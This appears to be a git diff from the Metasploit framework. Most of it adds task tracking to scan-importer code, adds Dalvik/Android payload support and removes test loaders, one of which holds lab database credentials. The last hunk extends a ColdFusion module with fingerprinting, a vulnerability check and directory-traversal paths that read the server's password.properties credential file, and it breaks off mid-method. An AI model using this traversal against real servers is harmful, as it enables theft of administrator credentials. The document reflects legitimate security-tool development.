report_info[:task] = args[:task]
report_info[:orig_path].gsub!(/^\./, tmp) if report_info[:orig_path]
# Only report a report if we actually have it.
# TODO: Copypasta. Seperate this out.
@@ -3818,7 +3866,8 @@ class DBManager
conf = {
:workspace => wspace,
:host => addr,
:state => Msf::HostState::Alive
:state => Msf::HostState::Alive,
:task => args[:task]
}
host = report_host(conf)
@@ -3828,7 +3877,8 @@ class DBManager
:workspace => wspace,
:host => host,
:type => 'host.os.nexpose_fingerprint',
:data => fprint
:data => fprint,
:task => args[:task]
)
# Load vulnerabilities not associated with a service
@@ -3841,7 +3891,8 @@ class DBManager
:host => host,
:name => 'NEXPOSE-' + vid,
:info => vid,
:refs => refs
:refs => refs,
:task => args[:task]
)
end
@@ -3860,9 +3911,24 @@ class DBManager
end
if(sname.downcase != '<unknown>')
report_service(:workspace => wspace, :host => host, :proto => sprot, :port => sport, :name => name, :info => info)
report_service(
:workspace => wspace,
:host => host,
:proto => sprot,
:port => sport,
:name => name,
:info => info,
:task => args[:task]
)
else
report_service(:workspace => wspace, :host => host, :proto => sprot, :port => sport, :info => info)
report_service(
:workspace => wspace,
:host => host,
:proto => sprot,
:port => sport,
:info => info,
:task => args[:task]
)
end
# Load vulnerabilities associated with this service
@@ -3871,13 +3937,14 @@ class DBManager
refs = process_nexpose_data_sxml_refs(vuln)
next if not refs
report_vuln(
:workspace => wspace,
:host => host,
:port => sport,
:proto => sprot,
:name => 'NEXPOSE-' + vid,
:info => vid,
:refs => refs
:workspace => wspace,
:host => host,
:port => sport,
:proto => sprot,
:name => 'NEXPOSE-' + vid,
:info => vid,
:refs => refs,
:task => args[:task]
)
end
end
@@ -3995,7 +4062,7 @@ class DBManager
# Takes a Host object, an array of vuln structs (generated by nexpose_refs_to_struct()),
# and a workspace, and reports the vulns on that host.
def nexpose_host_from_rawxml(h, vstructs, wspace)
def nexpose_host_from_rawxml(h, vstructs, wspace,task=nil)
hobj = nil
data = {:workspace => wspace}
if h["addr"]
@@ -4024,11 +4091,12 @@ class DBManager
if h["notes"]
note = {
:workspace => wspace,
:host => (hobj || addr),
:type => "host.vuln.nexpose_keys",
:data => {},
:mode => :unique_data
:workspace => wspace,
:host => (hobj || addr),
:type => "host.vuln.nexpose_keys",
:data => {},
:mode => :unique_data,
:task => task
}
h["notes"].each do |v,k|
note[:data][v] ||= []
@@ -4040,13 +4108,14 @@ class DBManager
if h["os_family"]
note = {
:workspace => wspace,
:host => hobj || addr,
:type => 'host.os.nexpose_fingerprint',
:data => {
:family => h["os_family"],
:certainty => h["os_certainty"]
}
:workspace => wspace,
:host => hobj || addr,
:type => 'host.os.nexpose_fingerprint',
:task => task,
:data => {
:family => h["os_family"],
:certainty => h["os_certainty"]
}
}
note[:data][:vendor] = h["os_vendor"] if h["os_vendor"]
note[:data][:product] = h["os_product"] if h["os_product"]
@@ -4067,13 +4136,14 @@ class DBManager
# XXX This should probably be handled in a more standard way
# extra << "(" + p["certainty"] + " certainty) " if p["certainty"]
data = {}
data[:workspace] = wspace
data[:proto] = p["protocol"].downcase
data[:port] = p["port"].to_i
data[:state] = p["status"]
data[:host] = hobj || addr
data[:info] = extra if not extra.empty?
data = {}
data[:workspace] = wspace
data[:proto] = p["protocol"].downcase
data[:port] = p["port"].to_i
data[:state] = p["status"]
data[:host] = hobj || addr
data[:info] = extra if not extra.empty?
data[:task] = task
if p["name"] != "<unknown>"
data[:name] = p["name"]
end
@@ -4085,14 +4155,15 @@ class DBManager
next if v["status"] !~ /^vulnerable/
vstruct = vstructs.select {|vs| vs.id.to_s.downcase == v["id"].to_s.downcase}.first
next unless vstruct
data = {}
data[:workspace] = wspace
data[:host] = hobj || addr
data[:proto] = v["protocol"].downcase if v["protocol"]
data[:port] = v["port"].to_i if v["port"]
data[:name] = "NEXPOSE-" + v["id"]
data[:info] = vstruct.title
data[:refs] = vstruct.refs
data = {}
data[:workspace] = wspace
data[:host] = hobj || addr
data[:proto] = v["protocol"].downcase if v["protocol"]
data[:port] = v["port"].to_i if v["port"]
data[:name] = "NEXPOSE-" + v["id"]
data[:info] = vstruct.title
data[:refs] = vstruct.refs
data[:task] = task
report_vuln(data)
}
end
@@ -4159,12 +4230,13 @@ class DBManager
# Import OS fingerprint
if host["os"]
note = {
:workspace => wspace,
:host => addr,
:type => 'host.os.retina_fingerprint',
:data => {
:os => host["os"]
}
:workspace => wspace,
:host => addr,
:type => 'host.os.retina_fingerprint',
:task => args[:task],
:data => {
:os => host["os"]
}
}
report_note(note)
end
@@ -4175,11 +4247,12 @@ class DBManager
refs << "RETINA-#{vuln['rthid']}" if vuln['rthid']
vuln_info = {
:workspace => wspace,
:host => addr,
:name => vuln['name'],
:info => vuln['description'],
:refs => refs
:workspace => wspace,
:host => addr,
:name => vuln['name'],
:info => vuln['description'],
:refs => refs,
:task => args[:task]
}
report_vuln(vuln_info)
@@ -4271,7 +4344,8 @@ class DBManager
:query => uri.query,
:code => code,
:body => body,
:headers => headers
:headers => headers,
:task => args[:task]
}
info.merge!(data)
@@ -4331,18 +4405,19 @@ class DBManager
# XXX: There is a :request attr in the model, but report_web_vuln
# doesn't seem to know about it, so this gets ignored.
#:request => vuln['request'],
:path => uri.path,
:query => uri.query,
:method => method,
:params => params,
:pname => pname.to_s,
:proof => proof,
:risk => details[:risk],
:name => details[:name],
:blame => details[:blame],
:category => details[:category],
:description => details[:description],
:confidence => details[:confidence],
:path => uri.path,
:query => uri.query,
:method => method,
:params => params,
:pname => pname.to_s,
:proof => proof,
:risk => details[:risk],
:name => details[:name],
:blame => details[:blame],
:category => details[:category],
:description => details[:description],
:confidence => details[:confidence],
:task => args[:task]
}
info.merge!(data)
@@ -4680,6 +4755,7 @@ class DBManager
data[:mac] = h["addrs"]["mac"]
end
data[:state] = (h["status"] == "up") ? Msf::HostState::Alive : Msf::HostState::Dead
data[:task] = args[:task]
if ( h["reverse_dns"] )
data[:name] = h["reverse_dns"]
@@ -4703,6 +4779,7 @@ class DBManager
:workspace => wspace,
:host => hobj || addr,
:type => 'host.os.nmap_fingerprint',
:task => args[:task],
:data => {
:os_vendor => h["os_vendor"],
:os_family => h["os_family"],
@@ -4723,6 +4800,7 @@ class DBManager
:workspace => wspace,
:host => hobj || addr,
:type => 'host.last_boot',
:task => args[:task],
:data => {
:time => h["last_boot"]
}
@@ -4743,6 +4821,7 @@ class DBManager
:workspace => wspace,
:host => hobj || addr,
:type => 'host.nmap.traceroute',
:task => args[:task],
:data => {
'port' => h["trace"]["port"].to_i,
'proto' => h["trace"]["proto"].to_s,
@@ -4778,6 +4857,7 @@ class DBManager
data[:state] = p["state"]
data[:host] = hobj || addr
data[:info] = extra if not extra.empty?
data[:task] = args[:task]
if p["name"] != "unknown"
data[:name] = p["name"]
end
@@ -4790,6 +4870,7 @@ class DBManager
if val =~ /MS08-067: VULNERABLE/
vuln_info = {
:workspace => wspace,
:task => args[:task],
:host => hobj || addr,
:port => 445,
:proto => 'tcp',
@@ -4808,6 +4889,7 @@ class DBManager
if val =~ /MS06-025: VULNERABLE/
vuln_info = {
:workspace => wspace,
:task => args[:task],
:host => hobj || addr,
:port => 445,
:proto => 'tcp',
@@ -4830,6 +4912,7 @@ class DBManager
if val =~ /MS07-029: VULNERABLE/
vuln_info = {
:workspace => wspace,
:task => args[:task],
:host => hobj || addr,
:port => 445,
:proto => 'tcp',
@@ -4971,7 +5054,7 @@ class DBManager
yield(:address,addr) if block
end
hobj_map[ addr ] ||= report_host(:host => addr, :workspace => wspace)
hobj_map[ addr ] ||= report_host(:host => addr, :workspace => wspace, :task => args[:task])
# Match the NBE types with the XML severity ratings
case type
@@ -4989,6 +5072,7 @@ class DBManager
os = data.match(/The remote host is running (.*)\\n/)[1]
report_note(
:workspace => wspace,
:task => args[:task],
:host => hobj_map[ addr ],
:type => 'host.os.nessus_fingerprint',
:data => {
@@ -5077,7 +5161,8 @@ class DBManager
hinfo = {
:workspace => wspace,
:host => addr
:host => addr,
:task => args[:task]
}
# Record the hostname
@@ -5090,6 +5175,7 @@ class DBManager
if os
report_note(
:workspace => wspace,
:task => args[:task],
:host => hobj,
:type => 'host.os.nessus_fingerprint',
:data => {
@@ -5105,7 +5191,7 @@ class DBManager
data = item.elements['data'].text
severity = item.elements['severity'].text
handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data)
handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data, args[:task])
end
end
end
@@ -5153,6 +5239,7 @@ class DBManager
host_info = {
:workspace => wspace,
:host => addr,
:task => args[:task]
}
host_info[:name] = hname.to_s.strip if hname
# Short mac, protect against Nessus's habit of saving multiple macs
@@ -5167,6 +5254,7 @@ class DBManager
if os
report_note(
:workspace => wspace,
:task => args[:task],
:host => hobj,
:type => 'host.os.nessus_fingerprint',
:data => {
@@ -5192,7 +5280,7 @@ class DBManager
yield(:port,port) if block
handle_nessus_v2(wspace, hobj, port, proto, sname, nasl, nasl_name, severity, description, cve, bid, xref, msf)
handle_nessus_v2(wspace, hobj, port, proto, sname, nasl, nasl_name, severity, description, cve, bid, xref, msf, args[:task])
end
yield(:end,hname) if block
@@ -5461,6 +5549,7 @@ class DBManager
host_hash = {
:workspace => wspace,
:host => addr,
:task => args[:task]
}
host_hash[:name] = hname.to_s.strip if hname
host_hash[:mac] = mac.to_s.strip.upcase if mac
@@ -5471,6 +5560,7 @@ class DBManager
if os
report_note(
:workspace => wspace,
:task => args[:task],
:host => hobj,
:type => 'host.os.ip360_fingerprint',
:data => {
@@ -5483,7 +5573,7 @@ class DBManager
port = item['port'].to_s
proto = item['proto'].to_s
handle_ip360_v3_svc(wspace, hobj, port, proto, hname)
handle_ip360_v3_svc(wspace, hobj, port, proto, hname, args[:task])
end
@@ -5497,7 +5587,7 @@ class DBManager
yield(:port, port) if block
handle_ip360_v3_vuln(wspace, hobj, port, proto, hname, vulnid, vulnname, cves, bids)
handle_ip360_v3_vuln(wspace, hobj, port, proto, hname, vulnid, vulnname, cves, bids, args[:task])
end
@@ -5530,7 +5620,7 @@ class DBManager
next unless vi.elements["QID"]
vi.elements.each("QID") do |qid|
next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty?
handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil)
handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil,nil, args[:task])
end
end
end
@@ -5550,7 +5640,7 @@ class DBManager
else
name = match[2].strip
end
handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name)
handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, args[:task])
end
end
end
@@ -5579,13 +5669,14 @@ class DBManager
(host.elements["NETBIOS"].text if host.elements["NETBIOS"]) ||
(host.elements["DNS"].text if host.elements["DNS"]) ||
"" )
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive)
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task])
report_import_note(wspace,hobj)
if host.elements["OPERATING_SYSTEM"]
hos = host.elements["OPERATING_SYSTEM"].text
report_note(
:workspace => wspace,
:task => args[:task],
:host => hobj,
:type => 'host.os.qualys_fingerprint',
:data => { :os => hos }
@@ -5634,13 +5725,14 @@ class DBManager
end
hname = host.attributes['name'] || ''
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive)
hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task])
report_import_note(wspace,hobj)
if host.elements["OS"]
hos = host.elements["OS"].text
report_note(
:workspace => wspace,
:task => args[:task],
:host => hobj,
:type => 'host.os.qualys_fingerprint',
:data => {
@@ -5658,7 +5750,7 @@ class DBManager
else
name = match[2].strip
end
handle_qualys(wspace, hobj, match[0].to_s, 'tcp', 0, nil, nil, name)
handle_qualys(wspace, hobj, match[0].to_s, 'tcp', 0, nil, nil, name, nil, args[:task])
end
end
# Open UDP Services List (Qualys ID 82004)
@@ -5670,7 +5762,7 @@ class DBManager
else
name = match[2].strip
end
handle_qualys(wspace, hobj, match[0].to_s, 'udp', 0, nil, nil, name)
handle_qualys(wspace, hobj, match[0].to_s, 'udp', 0, nil, nil, name, nil, args[:task])
end
end
@@ -5693,7 +5785,7 @@ class DBManager
refs.push('BID-' + ref.elements['ID'].text.to_s)
end
handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, nil,title)
handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, nil,title, args[:task])
end
end
end
@@ -5722,7 +5814,7 @@ class DBManager
else
yield(:address,ip) if block
end
host = find_or_create_host(:workspace => wspace, :host=> ip, :state => Msf::HostState::Alive)
host = find_or_create_host(:workspace => wspace, :host=> ip, :state => Msf::HostState::Alive, :task => args[:task])
end
end
@@ -5757,11 +5849,12 @@ class DBManager
port = $2.to_i
proto = $3.downcase
name = $4
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive)
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task])
next if not host
yield(:address,addr) if block
info = {
:workspace => wspace,
:task => args[:task],
:host => host,
:proto => proto,
:port => port
@@ -5791,11 +5884,12 @@ class DBManager
name = r[5]
next if status != "open"
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive)
host = find_or_create_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive, :task => args[:task])
next if not host
yield(:address,addr) if block
info = {
:workspace => wspace,
:task => args[:task],
:host => host,
:proto => proto,
:port => port
@@ -5916,7 +6010,7 @@ protected
# This holds all of the shared parsing/handling used by the
# Nessus NBE and NESSUS v1 methods
#
def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data)
def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data,task=nil)
addr = hobj.address
# The port section looks like:
# http (80/tcp)
@@ -5929,7 +6023,7 @@ protected
port = p[2].to_i
proto = p[3].downcase
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
if name != "unknown" and name[-1,1] != "?"
info[:name] = name
end
@@ -5978,7 +6072,8 @@ protected
:proto => proto,
:name => vuln_name,
:info => data,
:refs => refs
:refs => refs,
:task => task,
}
report_vuln(vuln_info)
end
@@ -5987,10 +6082,10 @@ protected
# NESSUS v2 file format has a dramatically different layout
# for ReportItem data
#
def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf)
def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf,task=nil)
addr = hobj.address
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
unless name =~ /^unknown$|\?$/
info[:name] = name
@@ -6037,7 +6132,8 @@ protected
:host => hobj,
:name => vuln_name,
:info => description ? description : "",
:refs => refs
:refs => refs,
:task => task,
}
if port.to_i != 0
@@ -6051,11 +6147,11 @@ protected
#
# IP360 v3 vuln
#
def handle_ip360_v3_svc(wspace,hobj,port,proto,hname)
def handle_ip360_v3_svc(wspace,hobj,port,proto,hname,task=nil)
addr = hobj.address
report_host(:workspace => wspace, :host => hobj, :state => Msf::HostState::Alive)
report_host(:workspace => wspace, :host => hobj, :state => Msf::HostState::Alive, :task => task)
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
if hname != "unknown" and hname[-1,1] != "?"
info[:name] = hname
end
@@ -6068,8 +6164,8 @@ protected
#
# IP360 v3 vuln
#
def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids)
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto }
def handle_ip360_v3_vuln(wspace,hobj,port,proto,hname,vulnid,vulnname,cves,bids,task=nil)
info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }
if hname != "unknown" and hname[-1,1] != "?"
info[:name] = hname
end
@@ -6094,7 +6190,8 @@ protected
:host => hobj,
:name => vulnname,
:info => description ? description : "",
:refs => refs
:refs => refs,
:task => task
}
if port.to_i != 0
@@ -6108,11 +6205,11 @@ protected
#
# Qualys report parsing/handling
#
def handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, name=nil, title=nil)
def handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, name=nil, title=nil, task=nil)
addr = hobj.address
port = port.to_i if port
info = { :workspace => wspace, :host => hobj, :port => port, :proto => protocol }
info = { :workspace => wspace, :host => hobj, :port => port, :proto => protocol, :task => task }
if name and name != 'unknown' and name != 'No registered hostname'
info[:name] = name
end
@@ -6138,6 +6235,7 @@ protected
if addr
report_vuln(
:workspace => wspace,
:task => task,
:host => hobj,
:port => port,
:proto => protocol,
+2 -2
View File
@@ -666,11 +666,11 @@ class DBManager
formatted_values = value_set.collect { |value|
prefix = keyword.upcase
"#{prefix}-#{value}"
"#{prefix}-%#{value}%"
}
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
end
end
+8
View File
@@ -331,6 +331,14 @@ class Msf::Module::Platform
Alias = "netware"
end
#
# Android
#
class Android < Msf::Module::Platform
Rank = 100
Alias = "android"
end
#
# Java
#
+1
View File
@@ -28,6 +28,7 @@ class Payload < Msf::Module
require 'msf/core/payload/windows'
require 'msf/core/payload/netware'
require 'msf/core/payload/java'
require 'msf/core/payload/dalvik'
##
#
+35
View File
@@ -0,0 +1,35 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf::Payload::Dalvik
#
# Fix the dex header checksum and signature
# http://source.android.com/tech/dalvik/dex-format.html
#
def fix_dex_header(dexfile)
dexfile = dexfile.unpack('a8LH40a*')
dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
dexfile[1] = Zlib.adler32(dexfile[2..-1].pack('H40a*'))
dexfile.pack('a8LH40a*')
end
#
# We could compile the .class files with dx here
#
def generate_stage
end
#
# Used by stagers to construct the payload jar file as a String
#
def generate
generate_jar.pack
end
def java_string(str)
[str.length].pack("N") + str
end
end
+8 -3
View File
@@ -364,10 +364,11 @@ require 'digest/sha1'
exe
end
def self.to_win32pe_only(framework, code, opts={})
def self.to_winpe_only(framework, code, opts={}, arch="x86")
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows_old.exe")
set_template_default(opts, "template_"+arch+"_windows.exe")
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
@@ -1968,7 +1969,11 @@ End Sub
when 'exe-only'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_only(framework, code, exeopts)
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64")
end
when 'elf'
-70
View File
@@ -1,70 +0,0 @@
#!/usr/bin/env ruby -I..
=begin
The Metasploit Rex library is provided under the 3-clause BSD license.
Copyright (c) 2005-2006, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors may be
used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
=end
require 'test/unit'
require 'rex/exceptions.rb.ut'
require 'rex/transformer.rb.ut'
require 'rex/text.rb.ut'
require 'rex/file.rb.ut'
require 'rex/encoder/xdr.rb.ut'
require 'rex/encoding/xor/generic.rb.ut'
require 'rex/encoding/xor/byte.rb.ut'
require 'rex/encoding/xor/word.rb.ut'
require 'rex/encoding/xor/dword.rb.ut'
require 'rex/encoding/xor/dword_additive.rb.ut'
require 'rex/socket.rb.ut'
require 'rex/socket/tcp.rb.ut'
require 'rex/socket/ssl_tcp.rb.ut'
require 'rex/socket/tcp_server.rb.ut'
require 'rex/socket/udp.rb.ut'
require 'rex/socket/parameters.rb.ut'
require 'rex/socket/comm/local.rb.ut'
require 'rex/socket/switch_board.rb.ut'
require 'rex/socket/subnet_walker.rb.ut'
require 'rex/proto.rb.ts'
require 'rex/parser/arguments.rb.ut'
require 'rex/ui/text/color.rb.ut'
require 'rex/ui/text/table.rb.ut'
require 'rex/exploitation/egghunter.rb.ut'
require 'rex/exploitation/seh.rb.ut'
+3 -1
View File
@@ -83,6 +83,7 @@ ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
ARCH_DALVIK = 'dalvik'
ARCH_TYPES =
[
ARCH_X86,
@@ -101,7 +102,8 @@ ARCH_TYPES =
ARCH_PHP,
ARCH_TTY,
ARCH_JAVA,
ARCH_RUBY
ARCH_RUBY,
ARCH_DALVIK
]
ARCH_ALL = ARCH_TYPES
-15
View File
@@ -1,15 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
#
# Xor Encoding Test Suite
#
require 'test/unit'
require 'rex/encoding/xor/generic.rb.ut'
require 'rex/encoding/xor/byte.rb.ut'
require 'rex/encoding/xor/word.rb.ut'
require 'rex/encoding/xor/dword.rb.ut'
require 'rex/encoding/xor/dword_additive.rb.ut'
+4 -2
View File
@@ -147,8 +147,10 @@ module Parser
just_the_facts = nonempty_data
else
just_the_facts = nonempty_data.select {|k,v| valid_attrs.include? k.to_s.to_sym}
end
just_the_facts.empty? ? return : db.send("report_#{table}", just_the_facts)
end
return nil if just_the_facts.empty?
just_the_facts[:task] = @args[:task]
db.send("report_#{table}", just_the_facts)
end
# XXX: It would be better to either have a single registry of acceptable
@@ -1,18 +0,0 @@
# -*- coding: binary -*-
$:.unshift(File.join(File.dirname(__FILE__)))
$:.unshift(File.join(File.dirname(__FILE__), '..', '..','..','..','..','..', 'lib'))
require 'test/unit'
require 'rex'
require 'railgun/api_constants.rb.ut'
require 'railgun/type/pointer_util.rb.ut'
require 'railgun/platform_util.rb.ut'
require 'railgun/buffer_item.rb.ut'
require 'railgun/dll_function.rb.ut'
require 'railgun/dll_helper.rb.ut'
require 'railgun/win_const_manager.rb.ut'
require 'railgun/dll.rb.ut.rb'
require 'railgun/dll_wrapper.rb.ut.rb'
require 'railgun/railgun.rb.ut.rb'
require 'railgun/win_const_manager.rb.ut.rb'
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
$:.unshift(File.join(File.dirname(__FILE__), '..'))
require 'test/unit'
require 'rex/proto/smb.rb.ts'
require 'rex/proto/dcerpc.rb.ts'
require 'rex/proto/http.rb.ts'
-10
View File
@@ -1,10 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/test'
require 'rex/proto/dcerpc/uuid.rb.ut'
require 'rex/proto/dcerpc/response.rb.ut'
require 'rex/proto/dcerpc/packet.rb.ut'
# require 'rex/proto/dcerpc/ndr.rb.ut'
require 'rex/proto/dcerpc/handle.rb.ut'
require 'rex/proto/dcerpc/client.rb.ut'
-18
View File
@@ -1,18 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/test'
module Rex
class Test
$_REX_TEST_DRDA_HOST = "192.168.145.138"
$_REX_TEST_DRDA_USER = "db2inst1"
$_REX_TEST_DRDA_PASS = "db2pw"
end
end
require 'rex/proto/drda/constants.rb.ut.rb'
require 'rex/proto/drda/packet.rb.ut.rb'
require 'rex/proto/drda/utils.rb.ut.rb'
-13
View File
@@ -1,13 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'test/unit'
require 'rex/proto/http/client.rb.ut'
require 'rex/proto/http/server.rb.ut'
require 'rex/proto/http/packet.rb.ut'
require 'rex/proto/http/header.rb.ut'
require 'rex/proto/http/request.rb.ut'
require 'rex/proto/http/response.rb.ut'
require 'rex/proto/http/handler/erb.rb.ut'
require 'rex/proto/http/handler/proc.rb.ut'
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/test'
require 'rex/proto/smb/client.rb.ut.rb'
require 'rex/proto/smb/constants.rb.ut.rb'
require 'rex/proto/smb/crypt.rb.ut.rb'
require 'rex/proto/smb/simpleclient.rb.ut.rb'
require 'rex/proto/smb/utils.rb.ut.rb'
@@ -382,7 +382,7 @@ class Metasploit3 < Msf::Auxiliary
save_loot="yes"
column_data.each { |row|
0.upto(7) { |col|
row[col] = row[col].strip.to_
row[col] = row[col].strip.to_s
}
}
print_line(" ")
@@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
'Author' =>
[
'HTP',
'sinn3r'
'sinn3r',
'nebulus'
],
'License' => MSF_LICENSE,
'Actions' =>
@@ -43,7 +44,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(8500),
Opt::RPORT(80),
OptBool.new('CHECK', [false, 'Only check for vulnerability', false]),
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
], self.class)
end
@@ -52,15 +54,140 @@ class Metasploit3 < Msf::Auxiliary
"#{datastore['RHOST']}:#{datastore['RPORT']}"
end
def fingerprint(response)
if(response.headers.has_key?('Server') )
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
os = "Windows (#{response.headers['Server']})"
elsif(response.headers['Server'] =~ /Apache\//)
os = "Unix (#{response.headers['Server']})"
else
os = response.headers['Server']
end
end
return nil if response.body.length < 100
title = "Not Found"
response.body.gsub!(/[\r\n]/, '')
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
title = $1
title.gsub!(/\s/, '')
end
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
out = nil
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
v = $1
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
out = "Adobe ColdFusion MX7 (Not Vulnerable)"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
out = "Adobe ColdFusion 8 (Not Vulnerable)"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
out = "Adobe ColdFusion 10"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
out = "Adobe ColdFusion 9"
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
out = $1.split(/,/)[0]
else
out = 'Unknown ColdFusion'
end
if(title.downcase == 'coldfusionadministrator')
out << " (you have administrator access)"
end
out << " (#{os})"
file = ''
trav = ''
if(os =~ /Windows/ )
trav = '..\..\..\..\..\..\..\..\..\..'
file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
else
trav = '../../../../../../../../../..'
file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
end
if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')
print_error("#{peer} Fingerprint failed...aborting")
print_status("response: #{response.body}")
return nil,nil
end
return out,"#{trav}#{file}"
end
def check
vuln = false
url = '/CFIDE/adminapi/customtags/l10n.cfm'
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
})
if(res != nil)
# can't stack b/c res.code won't exist if res is nil
vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)
end
if(vuln)
url = '/CFIDE/administrator/mail/download.cfm'
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
})
if(res != nil)
vuln = false if (res.code != 200)
end
end
return vuln
end
def run
filename = ""
case action.name
when 'ColdFusion10'
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
when 'ColdFusion9'
